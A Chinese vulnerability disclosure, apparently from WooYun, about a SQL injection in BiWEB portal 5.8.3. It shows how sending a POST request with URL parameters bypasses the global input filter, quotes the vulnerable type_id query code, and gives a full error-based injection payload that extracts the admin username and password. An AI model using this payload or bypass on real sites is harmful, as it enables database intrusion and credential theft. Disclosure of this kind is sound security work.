### 简要描述: BiWEB最新门户版注入又一枚(绕过全局过滤) ### 详细说明: 在wooyun上看到了有人把biweb的shell拿到了: [WooYun: BIWEB门户版Getwebshell漏洞](http://www.wooyun.org/bugs/wooyun-2014-049746) ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。 BiWEB对用户输入进行了全局过滤,但是这种过滤方法比较NC,这个漏洞就是来绕过全局过滤的。先来看看这个全局过滤方法吧/config/filtrate.inc.php ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这个过滤方法中,如果是POST方法就只对通过POST提交的用户数据进行过滤,GET方法同理。突然就想到一个方法,REQUEST_METHOD还是POST,但是在url中带入用户数据(GET方法),然后程序中用$_GET数组来获取数据的话,那就可以获得通过url提交的数据,并且没有经过全局过滤,这样就绕过了全局过滤。 前几天提了个类似的问题,这个问题是在另一个文件中又一次出现了,出现的文件不同,代码也不同,利用代码也有点点区别。 /product/include/index.inc.php ``` 无关代码 // 调用产品分类 include 'block/type.php'; 无关代码 ``` 去看看product/block/type.php ``` if (is_object($objWebInit)) { require_once(dirname(__FILE__)."/../class/product.class.php");...
### 简要描述: BiWEB最新门户版注入又一枚(绕过全局过滤) ### 详细说明: 在wooyun上看到了有人把biweb的shell拿到了: [WooYun: BIWEB门户版Getwebshell漏洞](http://www.wooyun.org/bugs/wooyun-2014-049746) ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。 BiWEB对用户输入进行了全局过滤,但是这种过滤方法比较NC,这个漏洞就是来绕过全局过滤的。先来看看这个全局过滤方法吧/config/filtrate.inc.php ``` <?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?> ``` 这个过滤方法中,如果是POST方法就只对通过POST提交的用户数据进行过滤,GET方法同理。突然就想到一个方法,REQUEST_METHOD还是POST,但是在url中带入用户数据(GET方法),然后程序中用$_GET数组来获取数据的话,那就可以获得通过url提交的数据,并且没有经过全局过滤,这样就绕过了全局过滤。 前几天提了个类似的问题,这个问题是在另一个文件中又一次出现了,出现的文件不同,代码也不同,利用代码也有点点区别。 /product/include/index.inc.php ``` 无关代码 // 调用产品分类 include 'block/type.php'; 无关代码 ``` 去看看product/block/type.php ``` if (is_object($objWebInit)) { require_once(dirname(__FILE__)."/../class/product.class.php"); require_once(dirname(__FILE__)."/../config/var.inc.php"); $objProduct = new product(); $intTyepId = $_GET['type_id']; $arrTopInfo = array(); $arrTopInfo = $objWebInit->getTypeList("where type_roue_id like '%{$intTyepId}%'"); // 输出到模板 $arrMOutput["smarty_assign"]['arrProductType'] = $arrTopInfo; } ``` 使用$_GET数组来获取type_id的值,而后面又没有过滤,因此造成了注入。 如果按正常的情况使用GET提交,单引号被全局过滤编码,如下: [<img src="https://images.seebug.org/upload/201411/24232650085221059502943e4255f54a7dba0b74.jpg" alt="单引号被转义副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/24232650085221059502943e4255f54a7dba0b74.jpg) 把GET方法改为POST提交,成功引入单引号,如下: [<img src="https://images.seebug.org/upload/201411/24232709bbadf31f559d790ea915ea7158880108.jpg" alt="单引号被引入副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/24232709bbadf31f559d790ea915ea7158880108.jpg) 成功注入,管理员用户名及密码如下图中所示: [<img src="https://images.seebug.org/upload/201411/24232721b1746a313dae6c751c770f19687389dd.jpg" alt="成功注入副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/24232721b1746a313dae6c751c770f19687389dd.jpg) 成功注入的payload ``` POST /product/index.php?type_id=1%'/**/and/**/(select/**/1/**/from/**/(select/**/count(*),concat(0x23,(select/**/concat(user_name,0x23,password,0x23)from/**/biweb_user/**/limit/**/0,1),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)/**/and/**/'%'=' ``` ### 漏洞证明: 见 详细说明